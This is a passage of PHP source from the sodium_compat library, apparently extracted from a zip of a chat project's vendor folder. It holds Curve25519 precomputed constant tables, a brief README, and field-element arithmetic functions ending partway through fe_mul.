-12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255,
-2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459,
-15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107,
-2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068,
9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918,
-3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692,
-994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304,
4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797,
4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763,
13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503,
-6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914,
-5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844,
607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760,
12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930,
-10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671,
-16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524,
-11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877,
-14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671,
225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547,
-6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352,
-7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614,
-13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956,
-13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647,
-9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590,
-7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167,
1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996,
-7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566,
-13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565,
778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881,
-3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110,
-3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940,
11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392,
11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342,
-6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256,
-2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244,
-6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504,
-15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522,
-9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339,
690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521,
-9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043,
4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045,
14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221,
6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112,
-16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293,
-16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471,
13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599,
16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036,
-4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168,
15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028,
3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985,
-13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186,
-1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071,
1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231,
-10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402,
10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974,
-6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863,
7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849,
-12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543,
14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669,
-8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671,
-11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724,
-2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454,
2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309,
10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807,
-14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129,
6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584,
-8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286,
6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542,
-14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625,
3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360,
14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111,
-12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761,
-1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732,
-13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672,
-7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818,
13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694,
3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523,
-10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716,
14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266,
-1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568,
13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288,
-5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345,
4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986,
12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609,
-12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977,
-16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896,
-11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365,
15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349,
12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696,
-25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984,
-4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873,
19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525,
1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316,
-31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406,
8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617,
-10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672,
-2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661,
-9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782,
9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875,
-15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474,
-16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817,
11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427,
-5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023,
-18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737,
-5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979,
-2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     *
37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d =
16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );
}
PK	�[珉��Tchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/README.mdnu�[���#
Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519
code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
PK	�[qܴ���Nchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref
https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core_Curve25519 extends
ParagonIE_Sodium_Core_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(1, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function fe_add(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        /** @var array<int, int> $arr */
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = (int) ($f[$i] + $g[$i]);
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, int> $h */
        $h = array();
        $b *= -1;
        for ($i = 0; $i < 10; ++$i) {
            /** @var int $x */
            $x = (($f[$i] ^ $g[$i]) & $b);
            $h[$i] = (int) ((int) ($f[$i]) ^ $x);
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws RangeException
     * @throws TypeError
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte
string.');
        }
        /** @var int $h0 */
        $h0 = self::load_4($s);
        /** @var int $h1 */
        $h1 = self::load_3(self::substr($s, 4, 3)) << 6;
        /** @var int $h2 */
        $h2 = self::load_3(self::substr($s, 7, 3)) << 5;
        /** @var int $h3 */
        $h3 = self::load_3(self::substr($s, 10, 3)) << 3;
        /** @var int $h4 */
        $h4 = self::load_3(self::substr($s, 13, 3)) << 2;
        /** @var int $h5 */
        $h5 = self::load_4(self::substr($s, 16, 4));
        /** @var int $h6 */
        $h6 = self::load_3(self::substr($s, 20, 3)) << 7;
        /** @var int $h7 */
        $h7 = self::load_3(self::substr($s, 23, 3)) << 5;
        /** @var int $h8 */
        $h8 = self::load_3(self::substr($s, 26, 3)) << 4;
        /** @var int $h9 */
        $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607)
<< 2;

        /** @var int $carry9 */
        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;
        /** @var int $carry1 */
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry3 */
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry5 */
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        /** @var int $carry7 */
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        /** @var int $carry0 */
        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry2 */
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry4 */
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry6 */
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        /** @var int $carry8 */
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $h
     * @return string
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe
$h)
    {
        /** @var int $h0 */
        $h0 = (int) $h[0];
        /** @var int $h1 */
        $h1 = (int) $h[1];
        /** @var int $h2 */
        $h2 = (int) $h[2];
        /** @var int $h3 */
        $h3 = (int) $h[3];
        /** @var int $h4 */
        $h4 = (int) $h[4];
        /** @var int $h5 */
        $h5 = (int) $h[5];
        /** @var int $h6 */
        $h6 = (int) $h[6];
        /** @var int $h7 */
        $h7 = (int) $h[7];
        /** @var int $h8 */
        $h8 = (int) $h[8];
        /** @var int $h9 */
        $h9 = (int) $h[9];

        /** @var int $q */
        $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25;
        /** @var int $q */
        $q = ($h0 + $q) >> 26;
        /** @var int $q */
        $q = ($h1 + $q) >> 25;
        /** @var int $q */
        $q = ($h2 + $q) >> 26;
        /** @var int $q */
        $q = ($h3 + $q) >> 25;
        /** @var int $q */
        $q = ($h4 + $q) >> 26;
        /** @var int $q */
        $q = ($h5 + $q) >> 25;
        /** @var int $q */
        $q = ($h6 + $q) >> 26;
        /** @var int $q */
        $q = ($h7 + $q) >> 25;
        /** @var int $q */
        $q = ($h8 + $q) >> 26;
        /** @var int $q */
        $q = ($h9 + $q) >> 25;

        $h0 += self::mul($q, 19, 5);

        /** @var int $carry0 */
        $carry0 = $h0 >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        /** @var int $carry1 */
        $carry1 = $h1 >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        /** @var int $carry2 */
        $carry2 = $h2 >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        /** @var int $carry3 */
        $carry3 = $h3 >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        /** @var int $carry4 */
        $carry4 = $h4 >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        /** @var int $carry5 */
        $carry5 = $h5 >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        /** @var int $carry6 */
        $carry6 = $h6 >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        /** @var int $carry7 */
        $carry7 = $h7 >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;
        /** @var int $carry8 */
        $carry8 = $h8 >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;
        /** @var int $carry9 */
        $carry9 = $h9 >> 25;
        $h9 -= $carry9 << 25;

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in
calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe
$f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        /** @var string $str */
        $str = self::fe_tobytes($f);
        return !self::verify_32($str, (string) $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we
do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        /** @var int $f0 */
        $f0 = $f[0];
        /** @var int $f1 */
        $f1 = $f[1];
        /** @var int $f2 */
        $f2 = $f[2];
        /** @var int $f3 */
        $f3 = $f[3];
        /** @var int $f4 */
        $f4 = $f[4];
        /** @var int $f5 */
        $f5 = $f[5];
        /** @var int $f6 */
        $f6 = $f[6];
        /** @var int $f7 */
        $f7 = $f[7];
        /** @var int $f8 */
        $f8 = $f[8];
        /** @var int $f9 */
        $f9 = $f[9];
        /** @var int $g0 */
        $g0 = $g[0];
        /** @var int $g1 */
        $g1 = $g[1];
        /** @var int $g2 */
        $g2 = $g[2];
        /** @var int $g3 */
        $g3 = $g[3];
        /** @var int $g4 */
        $g4 = $g[4];
        /** @var int $g5 */
        $g5 = $g[5];
        /** @var int $g6 */
        $g6 = $g[6];
        /** @var int $g7 */
        $g7 = $g[7];
        /** @var int $g8 */
        $g8 = $g[8];
        /** @var int $g9 */
        $g9 = $g[9];
        $g1_19 = self::mul($g1, 19, 5);
        $g2_19 = self::mul($g2, 19, 5);
        $g3_19 = self::mul($g3, 19, 5);
        $g4_19 = self::mul($g4, 19, 5);
        $g5_19 = self::mul($g5, 19, 5);
        $g6_19 = self::mul($g6, 19, 5);
        $g7_19 = self::mul($g7, 19, 5);
        $g8_19 = self::mul($g8, 19, 5);
        $g9_19 = self::mul($g9, 19, 5);
        /** @var int $f1_2 */
        $f1_2 = $f1 << 1;
        /** @var int $f3_2 */
        $f3_2 = $f3 << 1;
        /** @var int $f5_2 */
        $f5_2 = $f5 << 1;
        /** @var int $f7_2 */
        $f7_2 = $f7 << 1;
        /** @var int $f9_2 */
        $f9_2 = $f9 << 1;
        $f0g0    = self::mul($f0,    $g0, 26);
        $f0g1    = self::mul($f0,    $g1, 25);
        $f0g2    = self::mul($f0,    $g2, 26);
        $f0g3    = self::mul($f0,    $g3, 25);
        $f0g4    = self::mul($f0,    $g4, 26);
        $f0g5    = self::mul($f0,    $g5, 25);
        $f0g6    = self::mul($f0,    $g6, 26);
        $f0g7    = self::mul($f0,    $g7, 25);
        $f0g8    = self::mul($f0,    $g8, 26);
        $f0g9    = self::mul($f0,    $g9, 26);
        $f1g0    = self::mul($f1,    $g0, 26);
        $f1g1_2  = self::mul($f1_2,  $g1, 25);
        $f1g2    = self::mul($f1,    $g2, 26);
        $f1g3_2  = self::mul($f1_2,  $g3, 25);
        $f1g4    = self::mul($f1,    $g4, 26);
        $f1g5_2  = self::mul($f1_2,  $g5, 25);
        $f1g6    = self::mul($f1,    $g6, 26);
        $f1g7_2  = self::mul($f1_2,  $g7, 25);
        $f1g8    = self::mul($f1,    $g8, 26);
        $f1g9_38 = self::mul($g9_19, $f1_2, 26);
        $f2g0    = self::mul($f2,    $g0, 26);
        $f2g1    = self::mul($f2,    $g1, 25);
        $f2g2    = self::mul($f2,    $g2, 26);
        $f2g3    = self::mul($f2,    $g3, 25);
        $f2g4    = self::mul($f2,    $g4, 26);
        $f2g5    = self::mul($f2,    $g5, 25);
        $f2g6    = self::mul($f2,    $g6, 26);
        $f2g7    = self::mul($f2,    $g7, 25);
        $f2g8_19 = self::mul($g8_19, $f2, 26);
        $f2g9_19 = self::mul($g9_19, $f2, 26);
        $f3g0    = self::mul($f3,    $g0, 26);
        $f3g1_2  = self::mul($f3_2,  $g1, 25);
        $f3g2    = self::mul($f3,    $g2, 26);
        $f3g3_2  = self::mul($f3_2,  $g3, 25);
        $f3g4    = self::mul($f3,    $g4, 26);
        $f3g5_2  = self::mul($f3_2,  $g5, 25);
        $f3g6    = self::mul($f3,    $g6, 26);
        $f3g7_38 = self::mul($g7_19, $f3_2, 26);
        $f3g8_19 = self::mul($g8_19, $f3, 25);
        $f3g9_38 = self::mul($g9_19, $f3_2, 26);
        $f4g0    = self::mul($f4,    $g0, 26);
        $f4g1    = self::mul($f4,    $g1, 25);
        $f4g2    = self::mul($f4,    $g2, 26);
        $f4g3    = self::mul($f4,    $g3, 25);
        $f4g4    = self::mul($f4,    $g4, 26);
        $f4g5    = self::mul($f4,    $g5, 25);
        $f4g6_19 = self::mul($g6_19, $f4, 26);
        $f4g7_19 = self::mul($g7_19, $f4, 26);
        $f4g8_19 = self::mul($g8_19, $f4, 26);
        $f4g9_19 = self::mul($g9_19, $f4, 26);
        $f5g0    = self::mul($f5,    $g0, 26);
        $f5g1_2  = self::mul($f5_2,  $g1, 25);
        $f5g2    = self::mul($f5,    $g2, 26);
        $f5g3_2  = self::mul($f5_2,  $g3, 25);
        $f5g4    = self::mul($f5,    $g4, 26);
        $f5g5_38 = self::mul($g5_19, $f5_2, 26);
        $f5g6_19 = self::mul($g6_19, $f5, 25);
        $f5g7_38 = self::mul($g7_19, $f5_2, 26);
        $f5g8_19 = self::mul($g8_19, $f5, 25);
        $f5g9_38 = self::mul($g9_19, $f5_2, 26);
        $f6g0    = self::mul($f6,    $g0, 26);
        $f6g1    = self::mul($f6,    $g1, 25);
        $f6g2    = self::mul($f6,    $g2, 26);
        $f6g3    = self::mul($f6,    $g3, 25);
        $f6g4_19 = self::mul($g4_19, $f6, 26);
